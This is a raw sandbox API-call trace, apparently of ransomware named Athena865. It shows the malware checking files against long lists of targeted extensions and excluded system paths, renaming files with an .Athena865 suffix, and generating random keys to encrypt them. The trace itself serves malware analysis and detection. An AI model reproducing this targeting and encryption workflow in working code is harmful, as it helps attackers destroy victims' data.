lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.117] lstrlenW (lpString="grdb") returned 4 [0052.117] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.117] lstrlenW (lpString="gwi") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.117] lstrlenW (lpString="hdb") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.117] lstrlenW (lpString="his") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.117] lstrlenW (lpString="ib") returned 2 [0052.117] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.117] lstrlenW (lpString="idb") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.117] lstrlenW (lpString="ihx") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.117] lstrlenW (lpString="itdb") returned 4 [0052.117] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.117] lstrlenW (lpString="itw") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.117] lstrlenW (lpString="jet") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.117] lstrlenW (lpString="jtx") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.117] lstrlenW (lpString="kdb") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.117] lstrlenW (lpString="kexi") returned 4 [0052.117] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.117] lstrlenW (lpString="kexic") returned 5 [0052.117] lstrcmpiW (lpString1="s.lnk", lpString2="kexic") returned 1 [0052.117] lstrlenW (lpString="kexis") returned 5 [0052.117] lstrcmpiW (lpString1="s.lnk", lpString2="kexis") returned 1 [0052.117] lstrlenW (lpString="lgc") returned 3 [0052.117] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.117] lstrlenW (lpString="lwx") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.118] lstrlenW (lpString="maf") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.118] lstrlenW (lpString="maq") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.118] lstrlenW (lpString="mar") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.118] lstrlenW (lpString="marshal") returned 7 [0052.118] lstrcmpiW (lpString1="ots.lnk", lpString2="marshal") returned 1 [0052.118] lstrlenW (lpString="mas") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.118] lstrlenW (lpString="mav") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.118] lstrlenW (lpString="maw") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.118] lstrlenW (lpString="mdbhtml") returned 7 [0052.118] lstrcmpiW (lpString1="ots.lnk", lpString2="mdbhtml") returned 1 [0052.118] lstrlenW (lpString="mdn") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.118] lstrlenW (lpString="mdt") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.118] lstrlenW (lpString="mfd") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.118] lstrlenW (lpString="mpd") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.118] lstrlenW (lpString="mrg") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.118] lstrlenW (lpString="mud") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.118] lstrlenW (lpString="mwb") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.118] lstrlenW (lpString="myd") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.118] lstrlenW (lpString="ndf") returned 3 [0052.118] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.119] lstrlenW (lpString="nnt") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.119] lstrlenW (lpString="nrmlib") returned 6 [0052.119] lstrcmpiW (lpString1="ts.lnk", lpString2="nrmlib") returned 1 [0052.119] lstrlenW (lpString="ns2") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.119] lstrlenW (lpString="ns3") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.119] lstrlenW (lpString="ns4") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.119] lstrlenW (lpString="nsf") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.119] lstrlenW (lpString="nv") returned 2 [0052.119] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.119] lstrlenW (lpString="nv2") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.119] lstrlenW (lpString="nwdb") returned 4 [0052.119] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.119] lstrlenW (lpString="nyf") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.119] lstrlenW (lpString="odb") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.119] lstrlenW (lpString="odb") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.119] lstrlenW (lpString="oqy") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.119] lstrlenW (lpString="ora") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.119] lstrlenW (lpString="orx") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.119] lstrlenW (lpString="owc") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.119] lstrlenW (lpString="p96") returned 3 [0052.119] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.120] lstrlenW (lpString="p97") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.120] lstrlenW (lpString="pan") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.120] lstrlenW (lpString="pdb") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.120] lstrlenW (lpString="pdm") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.120] lstrlenW (lpString="pnz") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.120] lstrlenW (lpString="qry") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.120] lstrlenW (lpString="qvd") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.120] lstrlenW (lpString="rbf") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.120] lstrlenW (lpString="rctd") returned 4 [0052.120] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.120] lstrlenW (lpString="rod") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.120] lstrlenW (lpString="rodx") returned 4 [0052.120] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.120] lstrlenW (lpString="rpd") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.120] lstrlenW (lpString="rsd") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.120] lstrlenW (lpString="sas7bdat") returned 8 [0052.120] lstrcmpiW (lpString1=".ots.lnk", lpString2="sas7bdat") returned -1 [0052.120] lstrlenW (lpString="sbf") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.120] lstrlenW (lpString="scx") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.120] lstrlenW (lpString="sdb") returned 3 [0052.120] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.120] lstrlenW (lpString="sdc") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.121] lstrlenW (lpString="sdf") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.121] lstrlenW (lpString="sis") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.121] lstrlenW (lpString="spq") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.121] lstrlenW (lpString="te") returned 2 [0052.121] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.121] lstrlenW (lpString="teacher") returned 7 [0052.121] lstrcmpiW (lpString1="ots.lnk", lpString2="teacher") returned -1 [0052.121] lstrlenW (lpString="tmd") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.121] lstrlenW (lpString="tps") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.121] lstrlenW (lpString="trc") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.121] lstrlenW (lpString="trc") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.121] lstrlenW (lpString="trm") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.121] lstrlenW (lpString="udb") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.121] lstrlenW (lpString="udl") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.121] lstrlenW (lpString="usr") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.121] lstrlenW (lpString="v12") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.121] lstrlenW (lpString="vis") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.121] lstrlenW (lpString="vpd") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.121] lstrlenW (lpString="vvv") returned 3 [0052.121] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.122] lstrlenW (lpString="wdb") returned 3 [0052.122] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.122] lstrlenW (lpString="wmdb") returned 4 [0052.122] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.122] lstrlenW (lpString="wrk") returned 3 [0052.122] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.122] lstrlenW (lpString="xdb") returned 3 [0052.122] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.122] lstrlenW (lpString="xld") returned 3 [0052.122] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.122] lstrlenW (lpString="xmlff") returned 5 [0052.122] lstrcmpiW (lpString1="s.lnk", lpString2="xmlff") returned -1 [0052.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5zLI.ots.lnk.Athena865") returned 76 [0052.122] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5zLI.ots.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5zli.ots.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5zLI.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5zli.ots.lnk.athena865"), dwFlags=0x1) returned 1 [0052.123] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\5zLI.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\5zli.ots.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.123] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5113) returned 1 [0052.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.124] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.124] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.124] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x154 [0052.124] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000 [0052.125] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.125] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.125] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.126] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.126] CloseHandle (hObject=0x154) returned 1 [0052.126] CloseHandle (hObject=0x17c) returned 1 [0052.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.127] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0655be0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0655be0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0655be0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="65u3eFUv6kzfj.lnk", cAlternateFileName="65U3EF~1.LNK")) returned 1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2=".") returned 1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="..") returned 1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="windows") returned -1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="bootmgr") returned -1 [0052.127] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="temp") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="pagefile.sys") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="boot") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="ids.txt") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="ntuser.dat") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="perflogs") returned -1 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2="MSBuild") returned -1 [0052.128] lstrlenW (lpString="65u3eFUv6kzfj.lnk") returned 17 [0052.128] lstrcpyW (in: lpString1=0x241e8b4, lpString2="65u3eFUv6kzfj.lnk" | out: lpString1="65u3eFUv6kzfj.lnk") returned="65u3eFUv6kzfj.lnk" [0052.128] lstrlenW (lpString="65u3eFUv6kzfj.lnk") returned 17 [0052.128] lstrlenW (lpString="Athena865") returned 9 [0052.128] lstrcmpiW (lpString1="6kzfj.lnk", lpString2="Athena865") returned -1 [0052.128] lstrlenW (lpString=".dll") returned 4 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2=".dll") returned 1 [0052.128] lstrlenW (lpString=".lnk") returned 4 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2=".lnk") returned 1 [0052.128] lstrlenW (lpString=".ini") returned 4 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2=".ini") returned 1 [0052.128] lstrlenW (lpString=".sys") returned 4 [0052.128] lstrcmpiW (lpString1="65u3eFUv6kzfj.lnk", lpString2=".sys") returned 1 [0052.128] lstrlenW (lpString="65u3eFUv6kzfj.lnk") returned 17 [0052.128] lstrlenW (lpString="bak") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.128] lstrlenW (lpString="ba_") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.128] lstrlenW (lpString="dbb") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.128] lstrlenW (lpString="vmdk") returned 4 [0052.128] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.128] lstrlenW (lpString="rar") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.128] lstrlenW (lpString="zip") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.128] lstrlenW (lpString="tgz") returned 3 [0052.128] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.128] lstrlenW (lpString="vbox") returned 4 [0052.129] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.129] lstrlenW (lpString="vdi") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.129] lstrlenW (lpString="vhd") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.129] lstrlenW (lpString="vhdx") returned 4 [0052.129] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.129] lstrlenW (lpString="avhd") returned 4 [0052.129] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.129] lstrlenW (lpString="db") returned 2 [0052.129] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.129] lstrlenW (lpString="db2") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.129] lstrlenW (lpString="db3") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.129] lstrlenW (lpString="dbf") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.129] lstrlenW (lpString="mdf") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.129] lstrlenW (lpString="mdb") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.129] lstrlenW (lpString="sql") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.129] lstrlenW (lpString="sqlite") returned 6 [0052.129] lstrcmpiW (lpString1="fj.lnk", lpString2="sqlite") returned -1 [0052.129] lstrlenW (lpString="sqlite3") returned 7 [0052.129] lstrcmpiW (lpString1="zfj.lnk", lpString2="sqlite3") returned 1 [0052.129] lstrlenW (lpString="sqlitedb") returned 8 [0052.129] lstrcmpiW (lpString1="kzfj.lnk", lpString2="sqlitedb") returned -1 [0052.129] lstrlenW (lpString="xml") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.129] lstrlenW (lpString="$er") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.129] lstrlenW (lpString="4dd") returned 3 [0052.129] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.129] lstrlenW (lpString="4dl") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.130] lstrlenW (lpString="^^^") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.130] lstrlenW (lpString="abs") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.130] lstrlenW (lpString="abx") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.130] lstrlenW (lpString="accdb") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accdb") returned 1 [0052.130] lstrlenW (lpString="accdc") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accdc") returned 1 [0052.130] lstrlenW (lpString="accde") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accde") returned 1 [0052.130] lstrlenW (lpString="accdr") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accdr") returned 1 [0052.130] lstrlenW (lpString="accdt") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accdt") returned 1 [0052.130] lstrlenW (lpString="accdw") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accdw") returned 1 [0052.130] lstrlenW (lpString="accft") returned 5 [0052.130] lstrcmpiW (lpString1="j.lnk", lpString2="accft") returned 1 [0052.130] lstrlenW (lpString="adb") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.130] lstrlenW (lpString="adb") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.130] lstrlenW (lpString="ade") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.130] lstrlenW (lpString="adf") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.130] lstrlenW (lpString="adn") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.130] lstrlenW (lpString="adp") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.130] lstrlenW (lpString="alf") returned 3 [0052.130] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.131] lstrlenW (lpString="ask") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.131] lstrlenW (lpString="btr") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.131] lstrlenW (lpString="cat") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.131] lstrlenW (lpString="cdb") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.131] lstrlenW (lpString="ckp") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.131] lstrlenW (lpString="cma") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.131] lstrlenW (lpString="cpd") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.131] lstrlenW (lpString="dacpac") returned 6 [0052.131] lstrcmpiW (lpString1="fj.lnk", lpString2="dacpac") returned 1 [0052.131] lstrlenW (lpString="dad") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.131] lstrlenW (lpString="dadiagrams") returned 10 [0052.131] lstrcmpiW (lpString1="v6kzfj.lnk", lpString2="dadiagrams") returned 1 [0052.131] lstrlenW (lpString="daschema") returned 8 [0052.131] lstrcmpiW (lpString1="kzfj.lnk", lpString2="daschema") returned 1 [0052.131] lstrlenW (lpString="db-journal") returned 10 [0052.131] lstrcmpiW (lpString1="v6kzfj.lnk", lpString2="db-journal") returned 1 [0052.131] lstrlenW (lpString="db-shm") returned 6 [0052.131] lstrcmpiW (lpString1="fj.lnk", lpString2="db-shm") returned 1 [0052.131] lstrlenW (lpString="db-wal") returned 6 [0052.131] lstrcmpiW (lpString1="fj.lnk", lpString2="db-wal") returned 1 [0052.131] lstrlenW (lpString="dbc") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.131] lstrlenW (lpString="dbs") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.131] lstrlenW (lpString="dbt") returned 3 [0052.131] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.132] lstrlenW (lpString="dbv") returned 3 [0052.132] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.132] lstrlenW (lpString="dbx") returned 3 [0052.132] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.132] lstrlenW (lpString="dcb") returned 3 [0052.132] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.132] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\65u3eFUv6kzfj.lnk.Athena865") returned 81 [0052.132] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\65u3eFUv6kzfj.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\65u3efuv6kzfj.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\65u3eFUv6kzfj.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\65u3efuv6kzfj.lnk.athena865"), dwFlags=0x1) returned 1 [0052.133] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\65u3eFUv6kzfj.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\65u3efuv6kzfj.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.133] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5101) returned 1 [0052.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.134] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.134] 